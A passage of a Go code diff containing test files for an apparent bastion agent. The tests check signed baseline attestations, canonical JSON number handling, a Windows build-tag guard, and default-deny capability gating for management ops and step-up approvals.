t.Fatalf("the note did not flag an edited accounting: %q", n)
|
||||
}
|
||||
if !processIsRoot() {
|
||||
t.Log("not root: the delta pass cannot run here; the note itself is verified above")
|
||||
return
|
||||
}
|
||||
r := deltaPass(&digestCache{}, time.Now(), deltaRoleOperator)
|
||||
found := false
|
||||
for _, note := range r.Notes {
|
||||
if strings.HasPrefix(note, "attestation: ") && strings.Contains(note, "content has changed") {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("the delta pass did not carry the attestation failure in its notes: %v", r.Notes)
|
||||
}
|
||||
}
|
||||
|
||||
// The canonical form REFUSES what the two encoders disagree on, so adding a
|
||||
// float or a big integer to the accounting fails here — loudly, at signing —
|
||||
// rather than as a false "tampered" verdict on every host.
|
||||
func TestCanonicalRefusesNumbersTheEncodersDisagreeOn(t *testing.T) {
|
||||
for _, c := range []struct{ name, json string }{
|
||||
{"a float", `{"unreadable": 1.5}`},
|
||||
{"an integral float", `{"unreadable": 1.0}`},
|
||||
{"a small exponent", `{"unreadable": 1e-7}`},
|
||||
{"an integer past 2^53", `{"unreadable": 9223372036854775807}`},
|
||||
} {
|
||||
dec := json.NewDecoder(strings.NewReader(c.json))
|
||||
dec.UseNumber()
|
||||
var m map[string]any
|
||||
if err := dec.Decode(&m); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := baselineCheckNumbers(m, "$"); err == nil {
|
||||
t.Fatalf("%s was accepted into the canonical form", c.name)
|
||||
}
|
||||
}
|
||||
// And the accounting as it actually is — one small integer — is fine.
|
||||
if _, err := baselineCanonical(sampleBaseline()); err != nil {
|
||||
t.Fatalf("a real accounting was refused: %v", err)
|
||||
}
|
||||
// THE 2^53 BOUNDARY, probed AT the boundary. The cases above jump straight
|
||||
// to max-int64, so a mutation widening the bound to 2^60 survived: 2^54
|
||||
// would then be accepted here and refused by the host — a live asymmetry.
|
||||
for _, c := range []struct {
|
||||
lit string
|
||||
accept bool
|
||||
}{
|
||||
{"9007199254740992", true}, // 2^53
|
||||
{"9007199254740993", false}, // 2^53 + 1
|
||||
{"-9007199254740992", true}, // -2^53
|
||||
{"-9007199254740993", false}, // -(2^53 + 1)
|
||||
{"18014398509481984", false}, // 2^54
|
||||
} {
|
||||
d := json.NewDecoder(strings.NewReader(`{"unreadable": ` + c.lit + `}`))
|
||||
d.UseNumber()
|
||||
var mm map[string]any
|
||||
_ = d.Decode(&mm)
|
||||
err := baselineCheckNumbers(mm, "$")
|
||||
if (err == nil) != c.accept {
|
||||
t.Fatalf("%s: accepted=%v, want %v", c.lit, err == nil, c.accept)
|
||||
}
|
||||
}
|
||||
// -0: the one form neither side would otherwise catch.
|
||||
dec := json.NewDecoder(strings.NewReader(`{"unreadable": -0}`))
|
||||
dec.UseNumber()
|
||||
var m map[string]any
|
||||
_ = dec.Decode(&m)
|
||||
if err := baselineCheckNumbers(m, "$"); err == nil {
|
||||
t.Fatal("-0 was accepted into the canonical form")
|
||||
}
|
||||
// A number INSIDE the derived keys is dropped before it can be refused —
|
||||
// the host does the same, and the two must agree.
|
||||
if _, err := baselineCanonicalBytes([]byte(`{"unreadable":1,"attestation":{"key_version":2.5},"digest":"d"}`)); err != nil {
|
||||
t.Fatalf("a number inside a derived key was refused, which the host would verify: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// ── signing review round ────────────────────────────────────────────────────
|
||||
|
||||
// THE GOLDEN VECTOR. The canonical bytes for a fixed accounting, as a literal.
|
||||
// This is the cross-language contract: the box signs and verifies the same
|
||||
// bytes, so a change here (a kept trailing newline, HTML escaping back on, a
|
||||
// dropped key) passes every self-consistency test while breaking every host.
|
||||
// Only a pinned literal catches it. If this changes deliberately, the Python
|
||||
// side's fixture must be regenerated in the same change.
|
||||
func TestCanonicalBytesAreTheGoldenVector(t *testing.T) {
|
||||
f := baselineFile{
|
||||
Version: "privatae-baseline-v2", TakenAt: "2026-09-19T10:00:00Z",
|
||||
Coverage: "processes=all,schedulers=all",
|
||||
Entries: []baselineEntry{{FP: "aaa", Kind: "process", Exe: `/opt/naïve <app> & "co"\bin`,
|
||||
User: "root", ArgvShape: "x --y"}},
|
||||
Unreadable: 3, Digest: "ignored", UnsignedReason: "",
|
||||
}
|
||||
got, err := baselineCanonical(f)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := `{"coverage":"processes=all,schedulers=all","entries":[{"argv_shape":"x --y","exe":"/opt/naïve <app> & \"co\"\\bin","fp":"aaa","kind":"process","user":"root"}],"taken_at":"2026-09-19T10:00:00Z","unreadable":3,"version":"privatae-baseline-v2"}`
|
||||
if string(got) != want {
|
||||
t.Fatalf("canonical bytes moved.\n got: %s\nwant: %s", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAKeylessPairingWritesAnUnsignedAccountingWithTheReason(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
fx.keyPEM = "" // an older pairing that never held an operator key
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatalf("a keyless pairing must not block the accounting: %v", err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
if f.Attestation != nil || f.UnsignedReason != baselineUnsignedNoKey {
|
||||
t.Fatalf("attestation=%v reason=%q", f.Attestation, f.UnsignedReason)
|
||||
}
|
||||
}
|
||||
|
||||
// Validity is judged at the moment the accounting was TAKEN. A certificate
|
||||
// that has since expired still verifies an accounting taken while it was
|
||||
// valid; one that was not yet valid when the accounting was taken is refused,
|
||||
// and by name.
|
||||
func TestCertificateValidityIsJudgedWhenTheAccountingWasTaken(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
raw, _ := os.ReadFile(p)
|
||||
|
||||
// The same bytes with taken_at moved BEFORE the certificate existed.
|
||||
before := strings.Replace(string(raw), `"taken_at": "2026-09-19T10:00:00Z"`,
|
||||
`"taken_at": "2025-01-01T00:00:00Z"`, 1)
|
||||
if before == string(raw) {
|
||||
t.Fatal("the fixture edit did not apply")
|
||||
}
|
||||
// (Content changed, so the signature fails too — assert the validity check
|
||||
// fires FIRST and names itself.)
|
||||
ok, note := baselineVerifyBytes([]byte(before), fx.caPEM, fx.fp)
|
||||
if ok || !strings.Contains(note, "not valid at the time this accounting was taken") {
|
||||
t.Fatalf("a certificate not yet valid at taken_at must be refused by name: ok=%v %q", ok, note)
|
||||
}
|
||||
// And the real file, whose certificate will one day expire, still verifies
|
||||
// because it is judged at its own taken_at, not at now.
|
||||
if ok, note := baselineVerifyBytes(raw, fx.caPEM, fx.fp); !ok {
|
||||
t.Fatalf("judged at taken_at the real accounting must verify: %s", note)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAnUnknownAlgorithmIsRefusedByName(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
raw, _ := os.ReadFile(p)
|
||||
edited := strings.Replace(string(raw), `"alg": "ecdsa-p256-sha256"`, `"alg": "rsa-pss-sha512"`, 1)
|
||||
if edited == string(raw) {
|
||||
t.Fatal("the fixture edit did not apply")
|
||||
}
|
||||
ok, note := baselineVerifyBytes([]byte(edited), fx.caPEM, fx.fp)
|
||||
if ok || !strings.Contains(note, "rsa-pss-sha512") {
|
||||
t.Fatalf("an unknown alg must be refused by name: ok=%v %q", ok, note)
|
||||
}
|
||||
}
|
||||
|
||||
// A newer bastion's extra field must not read as tampering on an older one:
|
||||
// the box verifies from the file's own bytes, not through a lossy parse.
|
||||
func TestAFieldThisBinaryDoesNotKnowStillVerifies(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
// Build the document as a MAP with an unknown field, sign it the way the
|
||||
// box does, and hand the bytes to the verifier.
|
||||
m := map[string]any{
|
||||
"version": baselineVersion, "taken_at": "2026-09-19T10:00:00Z",
|
||||
"coverage": "processes=all,schedulers=all", "entries": []any{},
|
||||
"unreadable": 0, "digest": "d",
|
||||
"future_field": "written by bastion 9.0",
|
||||
}
|
||||
rawUnsigned, _ := json.Marshal(m)
|
||||
canon, err := baselineCanonicalBytes(rawUnsigned)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
key, _ := parseECPrivateKeyPEM(fx.keyPEM)
|
||||
sum := sha256.Sum256(canon)
|
||||
sig, _ := ecdsa.SignASN1(rand.Reader, key, sum[:])
|
||||
m["attestation"] = baselineAttestation{Alg: baselineSigAlg, SignedBy: "one.host.privatae.ai",
|
||||
SignerCert: fx.leafPEM, Signature: base64.StdEncoding.EncodeToString(sig)}
|
||||
raw, _ := json.Marshal(m)
|
||||
ok, note := baselineVerifyBytes(raw, fx.caPEM, fx.fp)
|
||||
if !ok {
|
||||
t.Fatalf("a version-skewed file read as tampered on the box: %s", note)
|
||||
}
|
||||
}
|
||||
|
||||
// unsigned_reason is COVERED by the signature — only digest and attestation
|
||||
// are dropped — so planting one on a signed file is a content change.
|
||||
func TestEditingTheUnsignedReasonOnASignedFileFails(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
fx := newSigningFixture(t, "fp-one")
|
||||
writeSigningPairing(t, "one.host.privatae.ai", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
p, _ := baselinePath()
|
||||
raw, _ := os.ReadFile(p)
|
||||
edited := strings.Replace(string(raw), `"attestation": {`, `"unsigned_reason": "planted",
|
||||
"attestation": {`, 1)
|
||||
if edited == string(raw) {
|
||||
t.Fatal("the fixture edit did not apply")
|
||||
}
|
||||
if ok, _ := baselineVerifyBytes([]byte(edited), fx.caPEM, fx.fp); ok {
|
||||
t.Fatal("an edited unsigned_reason verified — it is not covered by the signature")
|
||||
}
|
||||
}
|
||||
|
||||
// A platform-issued certificate names the fingerprint under the platform's name
|
||||
// only, a Host with no platform's under its own; each verifies alone.
|
||||
func TestAFingerprintUnderEitherNameVerifies(t *testing.T) {
|
||||
for _, prefix := range []string{fpSANPrefix, hostFPSANPrefix} {
|
||||
isolateConfigDir(t)
|
||||
u, _ := url.Parse(prefix + "fp-one")
|
||||
fx := newSigningFixtureWithURIs(t, "fp-one", []*url.URL{u})
|
||||
writeSigningPairing(t, "one.host.example.test", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
if ok, note := baselineVerify(f, fx.caPEM, "fp-one"); !ok {
|
||||
t.Fatalf("%s: a fingerprint under this name alone must verify: %q", prefix, note)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Two names carrying two different fingerprints name two machines; the
|
||||
// verifier refuses rather than picking one.
|
||||
func TestACertificateNamingTwoMachinesIsRefused(t *testing.T) {
|
||||
isolateConfigDir(t)
|
||||
a, _ := url.Parse(fpSANPrefix + "fp-one")
|
||||
b, _ := url.Parse(hostFPSANPrefix + "fp-two")
|
||||
fx := newSigningFixtureWithURIs(t, "fp-one", []*url.URL{a, b})
|
||||
writeSigningPairing(t, "one.host.example.test", fx)
|
||||
if err := baselineSave(sampleBaseline()); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
f, _, _ := baselineLoad()
|
||||
ok, note := baselineVerify(f, fx.caPEM, "")
|
||||
if ok || !strings.Contains(note, "two different device fingerprints") {
|
||||
t.Fatalf("two fingerprints must be refused by name: ok=%v note=%q", ok, note)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
//go:build !windows
|
||||
|
||||
package main
|
||||
|
||||
// Tagged !windows because it borrows setupBox and writePairingState from
|
||||
// anchor_test.go, which is itself !windows — the repo guard
|
||||
// (TestATestFileBorrowingAUnixFixtureCarriesTheTag) exists so a borrowed unix
|
||||
// fixture cannot make `GOOS=windows go vet` red, and it caught exactly that
|
||||
// when this test first landed untagged. The rest of the signing tests build
|
||||
// their own fixtures and stay portable in baselinesign_test.go.
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestAnAnchorPairingThatIsNotActiveDoesNotSign(t *testing.T) {
|
||||
// A REAL anchored box (setupBox claims tAnchor as the anchor), whose anchor
|
||||
// pairing is then revoked. The first version of this test never claimed an
|
||||
// anchor, so it exercised the unanchored branch and the mutation that made
|
||||
// the anchored branch ignore pairing state survived it.
|
||||
setupBox(t)
|
||||
writePairingState(t, tAnchor, pairingRevoked)
|
||||
if currentAnchor() == nil {
|
||||
t.Fatal("the fixture is not anchored, so this test proves nothing")
|
||||
}
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
signer, why := baselineSignerPairing(cfgs)
|
||||
if signer != nil {
|
||||
t.Fatalf("a revoked anchor pairing signed: %s", signer.HostName)
|
||||
}
|
||||
if why != baselineUnsignedAnchorGone {
|
||||
t.Fatalf("the reason must be the named constant, got %q", why)
|
||||
}
|
||||
// And the pending state is refused the same way.
|
||||
writePairingState(t, tAnchor, pairingPending)
|
||||
cfgs, _ = loadPairings()
|
||||
if signer, why := baselineSignerPairing(cfgs); signer != nil || why != baselineUnsignedAnchorGone {
|
||||
t.Fatalf("a pending anchor pairing must not sign: %v %q", signer, why)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,129 @@
|
||||
package main
|
||||
|
||||
// buildtags_test.go — a test file that borrows a unix-only fixture must say so.
|
||||
//
|
||||
// WHY THIS EXISTS. Several test files here use helpers (setupBox, driveOp,
|
||||
// withConfigDir, …) that live behind `//go:build !windows`. A new test file that
|
||||
// calls one without carrying the same constraint breaks the WINDOWS test build
|
||||
// with `undefined: setupBox`.
|
||||
//
|
||||
// The trap is which command notices. `GOOS=windows go build ./...` passes —
|
||||
// build does not compile test files — so a cross-build check reports green
|
||||
// while `GOOS=windows go vet ./...` is red. That mistake was made twice in this
|
||||
// package in two days, both times by someone who had run the build and
|
||||
// believed the target was covered. A comment in the file that needs the tag can
|
||||
// only be read after it has been written, so this checks it instead.
|
||||
//
|
||||
// It is deliberately NOT tagged itself: it must run on the platform people
|
||||
// actually run tests on, and it reads the tree from disk rather than being
|
||||
// compiled into any particular target. It asks the TOOLCHAIN whether a file
|
||||
// belongs in a Windows build (go/build's own MatchFile, which understands every
|
||||
// constraint form and the _windows.go name suffix) rather than parsing
|
||||
// constraints by hand.
|
||||
|
||||
import (
|
||||
"go/ast"
|
||||
"go/build"
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestATestFileBorrowingAUnixFixtureCarriesTheTag(t *testing.T) {
|
||||
entries, err := os.ReadDir(".")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
win := build.Default
|
||||
win.GOOS = "windows"
|
||||
|
||||
type fileInfo struct {
|
||||
name string
|
||||
onWin bool
|
||||
file *ast.File
|
||||
fileSet *token.FileSet
|
||||
}
|
||||
var files []fileInfo
|
||||
for _, e := range entries {
|
||||
n := e.Name()
|
||||
if e.IsDir() || !strings.HasSuffix(n, "_test.go") {
|
||||
continue
|
||||
}
|
||||
onWin, err := win.MatchFile(".", n)
|
||||
if err != nil {
|
||||
t.Fatalf("%s: %v", n, err)
|
||||
}
|
||||
fset := token.NewFileSet()
|
||||
f, err := parser.ParseFile(fset, n, nil, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("%s: %v", n, err)
|
||||
}
|
||||
files = append(files, fileInfo{n, onWin, f, fset})
|
||||
}
|
||||
if len(files) == 0 {
|
||||
t.Fatal("no test files found — this check would pass vacuously")
|
||||
}
|
||||
|
||||
// Every top-level name declared ONLY in files excluded from a Windows build.
|
||||
unixOnly := map[string]string{}
|
||||
for _, fi := range files {
|
||||
if fi.onWin {
|
||||
continue
|
||||
}
|
||||
for _, d := range fi.file.Decls {
|
||||
switch decl := d.(type) {
|
||||
case *ast.FuncDecl:
|
||||
if decl.Recv == nil {
|
||||
unixOnly[decl.Name.Name] = fi.name
|
||||
}
|
||||
case *ast.GenDecl:
|
||||
for _, spec := range decl.Specs {
|
||||
switch s := spec.(type) {
|
||||
case *ast.ValueSpec:
|
||||
for _, id := range s.Names {
|
||||
unixOnly[id.Name] = fi.name
|
||||
}
|
||||
case *ast.TypeSpec:
|
||||
unixOnly[s.Name.Name] = fi.name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// A name also declared in a Windows-included file is not unix-only.
|
||||
for _, fi := range files {
|
||||
if !fi.onWin {
|
||||
continue
|
||||
}
|
||||
for _, d := range fi.file.Decls {
|
||||
if fn, ok := d.(*ast.FuncDecl); ok && fn.Recv == nil {
|
||||
delete(unixOnly, fn.Name.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, fi := range files {
|
||||
if !fi.onWin {
|
||||
continue
|
||||
}
|
||||
ast.Inspect(fi.file, func(n ast.Node) bool {
|
||||
id, ok := n.(*ast.Ident)
|
||||
if !ok || id.Obj != nil { // id.Obj set = declared in this file
|
||||
return true
|
||||
}
|
||||
if from, bad := unixOnly[id.Name]; bad {
|
||||
t.Errorf("%s:%d uses %s, which is declared in %s behind a "+
|
||||
"constraint that excludes Windows. Add this as line 1 of %s:\n"+
|
||||
"\t//go:build !windows\n"+
|
||||
"Caught here because `GOOS=windows go build ./...` does NOT compile "+
|
||||
"test files and would report green; `GOOS=windows go vet ./...` is "+
|
||||
"what sees it.",
|
||||
fi.name, fi.fileSet.Position(id.Pos()).Line, id.Name, from, fi.name)
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,252 @@
|
||||
//go:build !windows
|
||||
|
||||
// Uses setupBox / driveOp / writePairingState / signTerms / grantTerms /
|
||||
// tAnchor / tMember from anchor_test.go, which are unix-only. buildtags_test.go
|
||||
// enforces the tag.
|
||||
|
||||
package main
|
||||
|
||||
// The caps ceiling cannot be reached by an op nobody classified.
|
||||
//
|
||||
// capsAllow used to return "" — allowed — for any op opFamily did not know, so
|
||||
// a member pairing holding any verified grant could be asked for it whatever
|
||||
// the anchor had granted. The tests here are the standing guard against that
|
||||
// returning: one for the DEFAULT (an unclassified op is refused), and one for
|
||||
// the CLASS (no op on this lane is unclassified in the first place).
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// EVERY op this box will answer must map to a family. This is the gate that
|
||||
// stops the next op added to either table from silently failing open: without
|
||||
// it, a new handler is reachable by any pairing holding any grant, and nothing
|
||||
// anywhere says so out loud.
|
||||
//
|
||||
// Both tables, because they are two different doors into the same lane —
|
||||
// handlerOps is the no-exec handlers, p8AllowedOps the shell allowlist — and
|
||||
// handleMgmtConnFor puts the same ceiling in front of both.
|
||||
func TestEveryOpOnTheMgmtLaneHasAFamily(t *testing.T) {
|
||||
check := func(table string, ops []string) {
|
||||
t.Helper()
|
||||
var unclassified []string
|
||||
for _, op := range ops {
|
||||
if opFamily(op) == "" {
|
||||
unclassified = append(unclassified, op)
|
||||
}
|
||||
}
|
||||
if len(unclassified) > 0 {
|
||||
t.Fatalf("these %s ops are in NO capability family:\n %s\n"+
|
||||
"capsAllowIn default-denies an unclassified op, so each of these is refused for\n"+
|
||||
"every member pairing on an anchored box — including ones the anchor meant to\n"+
|
||||
"grant. Give each a family in opFamily (anchor.go). If the op genuinely\n"+
|
||||
"authorizes nothing, say so explicitly with capsFamilyNone at its gate rather\n"+
|
||||
"than by leaving it unclassified.", table, strings.Join(unclassified, "\n "))
|
||||
}
|
||||
}
|
||||
handlers := make([]string, 0, len(handlerOps))
|
||||
for k := range handlerOps {
|
||||
handlers = append(handlers, k)
|
||||
}
|
||||
check("handlerOps", handlers)
|
||||
|
||||
p8 := make([]string, 0, len(p8AllowedOps))
|
||||
for k := range p8AllowedOps {
|
||||
p8 = append(p8, k)
|
||||
}
|
||||
check("p8AllowedOps", p8)
|
||||
check("sessionOps", sessionOps)
|
||||
|
||||
// And the check must not have gone vacuous: an op nobody has classified
|
||||
// still has no family, or the assertion above proves nothing.
|
||||
if opFamily("some_future_op") != "" {
|
||||
t.Fatal("opFamily now answers for an unknown op — the check above asserts nothing")
|
||||
}
|
||||
}
|
||||
|
||||
// The DEFAULT itself: an op in no family is refused, and the refusal says so
|
||||
// rather than quoting a family it does not have.
|
||||
func TestUnclassifiedOpIsDefaultDenied(t *testing.T) {
|
||||
priv := setupBox(t)
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
future := time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
|
||||
terms, sig := signTerms(t, priv, grantTerms(tMember, []string{"observe", "dcn", "session"}, future))
|
||||
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
|
||||
t.Fatalf("grant: %d %s", code, errOut)
|
||||
}
|
||||
|
||||
// A broadly-granted member is still refused an op in no family.
|
||||
why := capsAllow(tMember, "some_op_in_no_family")
|
||||
if why == "" {
|
||||
t.Fatal("an op in no capability family must be refused on an anchored box")
|
||||
}
|
||||
if !strings.Contains(why, "no capability family") {
|
||||
t.Fatalf("the refusal must say the op is in no family, got %q", why)
|
||||
}
|
||||
|
||||
// The ANCHOR pairing is unaffected: it returns before the family check,
|
||||
// because its user is the admin of this machine.
|
||||
if why := capsAllow(tAnchor, "some_op_in_no_family"); why != "" {
|
||||
t.Fatalf("the anchor pairing must stay unconstrained: %s", why)
|
||||
}
|
||||
|
||||
// And a LOCAL box gates nothing at all — capsAllow returns on a nil anchor
|
||||
// long before the family check, which is what keeps every local
|
||||
// bastion unchanged by this.
|
||||
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
|
||||
if boxMode() != modeLocal {
|
||||
t.Fatalf("a box with no mode file must be local, got %s", boxMode())
|
||||
}
|
||||
if why := capsAllow(tMember, "some_op_in_no_family"); why != "" {
|
||||
t.Fatalf("a LOCAL bastion must not be gated by this: %s", why)
|
||||
}
|
||||
}
|
||||
|
||||
// stepupDetails builds the b64 details argument for one request kind.
|
||||
func stepupDetails(t *testing.T, d map[string]any) string {
|
||||
t.Helper()
|
||||
raw, err := json.Marshal(d)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(raw)
|
||||
}
|
||||
|
||||
// A step-up is gated on the family of the thing being APPROVED.
|
||||
//
|
||||
// The bypass this closes: a pairing granted only "observe" could raise a
|
||||
// step-up for any of the four kinds that DO authorize a capability of this
|
||||
// machine — a DCN store grant or move plan, a root shell, a model download —
|
||||
// with a purpose and details of its own choosing, putting the prompt in front
|
||||
// of the user. It could not self-approve. The fifth kind, critical_action,
|
||||
// stays reachable by any pairing holding a verified grant and that is
|
||||
// deliberate, not a leftover: the box is not the enforcer there (the platform
|
||||
// executes once it sees an approval), the second factor is per pairing dir, and
|
||||
// approving one consumes no capability of this machine — so there is no family
|
||||
// that could honestly be named for it. See stepupKindFamily.
|
||||
//
|
||||
// The regression it avoids: gating all five as "dcn" would stop a session-only
|
||||
// pairing raising the step-up session:root requires.
|
||||
func TestStepupIsGatedOnTheApprovedFamily(t *testing.T) {
|
||||
// observe only: every kind refused, including the one it might be thought
|
||||
// to be entitled to by holding a grant at all.
|
||||
priv := setupBox(t)
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
future := time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
|
||||
terms, sig := signTerms(t, priv, grantTerms(tMember, []string{"observe"}, future))
|
||||
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
|
||||
t.Fatalf("grant: %d %s", code, errOut)
|
||||
}
|
||||
for _, kind := range []string{"dcn_store_grant", "dcn_move_plan", "session_root", "model_pull"} {
|
||||
args := []string{"p", stepupDetails(t, map[string]any{"kind": kind})}
|
||||
_, errOut, code := driveOp(t, tMember, "stepup_request", args)
|
||||
if code != 126 || !strings.Contains(errOut, "caps") {
|
||||
t.Fatalf("an observe-only pairing must be refused a %s step-up: %d %s", kind, code, errOut)
|
||||
}
|
||||
}
|
||||
|
||||
// session only: the root-shell step-up is its own lane's and must pass the
|
||||
// ceiling, while a dcn one is still refused.
|
||||
priv = setupBox(t)
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
future = time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
|
||||
terms, sig = signTerms(t, priv, grantTerms(tMember, []string{"session"}, future))
|
||||
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
|
||||
t.Fatalf("grant: %d %s", code, errOut)
|
||||
}
|
||||
args := []string{"p", stepupDetails(t, map[string]any{"kind": "session_root"})}
|
||||
if _, errOut, _ := driveOp(t, tMember, "stepup_request", args); strings.Contains(errOut, "caps") {
|
||||
t.Fatalf("a session pairing must pass the ceiling for a session_root step-up: %s", errOut)
|
||||
}
|
||||
args = []string{"p", stepupDetails(t, map[string]any{"kind": "dcn_store_grant"})}
|
||||
if _, errOut, code := driveOp(t, tMember, "stepup_request", args); code != 126 ||
|
||||
!strings.Contains(errOut, "caps") {
|
||||
t.Fatalf("a session pairing must still be refused a dcn step-up: %d %s", code, errOut)
|
||||
}
|
||||
|
||||
// models only: the model_pull step-up passes, a root shell does not.
|
||||
priv = setupBox(t)
|
||||
writePairingState(t, tMember, pairingPending)
|
||||
future = time.Now().Add(time.Hour).UTC().Format(time.RFC3339)
|
||||
terms, sig = signTerms(t, priv, grantTerms(tMember, []string{modelGateOpFamily}, future))
|
||||
if _, errOut, code := driveOp(t, tAnchor, "pairing_grant_sync", []string{terms, sig}); code != 0 {
|
||||
t.Fatalf("grant: %d %s", code, errOut)
|
||||
}
|
||||
args = []string{"p", stepupDetails(t, map[string]any{"kind": "model_pull"})}
|
||||
if _, errOut, _ := driveOp(t, tMember, "stepup_request", args); strings.Contains(errOut, "caps") {
|
||||
t.Fatalf("a models pairing must pass the ceiling for a model_pull step-up: %s", errOut)
|
||||
}
|
||||
args = []string{"p", stepupDetails(t, map[string]any{"kind": "session_root"})}
|
||||
if _, errOut, code := driveOp(t, tMember, "stepup_request", args); code != 126 ||
|
||||
!strings.Contains(errOut, "caps") {
|
||||
t.Fatalf("a models pairing must be refused a root-shell step-up: %d %s", code, errOut)
|
||||
}
|
||||
}
|
||||
|
||||
// The kind→family map is the whole gate, so it is asserted directly: a wrong
|
||||
// entry here is a bypass that no amount of frame-level testing would name.
|
||||
func TestStepupKindFamilies(t *testing.T) {
|
||||
for kind, want := range map[string]string{
|
||||
"dcn_store_grant": "dcn",
|
||||
"dcn_move_plan": "dcn",
|
||||
"session_root": "session",
|
||||
"model_pull": modelGateOpFamily,
|
||||
// The box is not the enforcer for a platform critical action, so no
|
||||
// capability of THIS machine is being authorized and there is no family
|
||||
// to name. Holding a verified grant is the ceiling.
|
||||
"critical_action": capsFamilyNone,
|
||||
// Anything purposeFromDetails would refuse anyway.
|
||||
"": capsFamilyNone,
|
||||
"made_up_kind": capsFamilyNone,
|
||||
} {
|
||||
if got := stepupKindFamily(kind); got != want {
|
||||
t.Errorf("stepupKindFamily(%q) = %q, want %q", kind, got, want)
|
||||
}
|
||||
}
|
||||
// Every kind purposeFromDetails accepts must be mapped here, or a real
|
||||
// approval flow is refused for a pairing that should hold it. The list is
|
||||
// the switch in purposeFromDetails (stepup.go).
|
||||
for _, kind := range []string{"dcn_store_grant", "dcn_move_plan", "session_root",
|
||||
"critical_action", "model_pull"} {
|
||||
fam := stepupKindFamily(kind)
|
||||
if fam == "" {
|
||||
t.Fatalf("kind %q maps to the empty family, which default-denies every "+
|
||||
"pairing including ones that should hold it", kind)
|
||||
}
|
||||
if fam == capsFamilyNone {
|
||||
continue
|
||||
}
|
||||
found := false
|
||||
for _, c := range allCaps {
|
||||
found = found || c == fam
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("kind %q maps to family %q, which is not in allCaps %v — ungrantable, "+
|
||||
"so this approval flow could never be opened for any pairing", kind, fam, allCaps)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// The local UI decides whether to show a family as HELD by probing capsAllow
|
||||
// with one representative op (uigiven.go:484). Under default-deny an
|
||||
// unclassified probe reads as "not held" for every pairing, so the machine's
|
||||
// own admin page would quietly show a family the pairing does have as absent.
|
||||
// The probes are all classified today; this keeps a rename from changing that.
|
||||
func TestEveryUIProbeIsClassified(t *testing.T) {
|
||||
for _, f := range uiGivenFamilies {
|
||||
fam := opFamily(f.Probe)
|
||||
if fam == "" {
|
||||
t.Fatalf("the %q family probes with %q, which is in no capability family — "+
|
||||
"capsAllow default-denies it, so this family would read as NOT HELD on the "+
|
||||
"local UI for every pairing that actually holds it", f.Name, f.Probe)
|
||||
}
|
||||
if fam != f.Name {
|
||||
t.Fatalf("the %q family probes with %q, which resolves to family %q — the probe "+
|
||||
"must test its OWN family or the page reports the wrong one", f.Name, f.Probe, fam)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,431 @@
|
||||
//go:build !windows
|
||||
|
||||
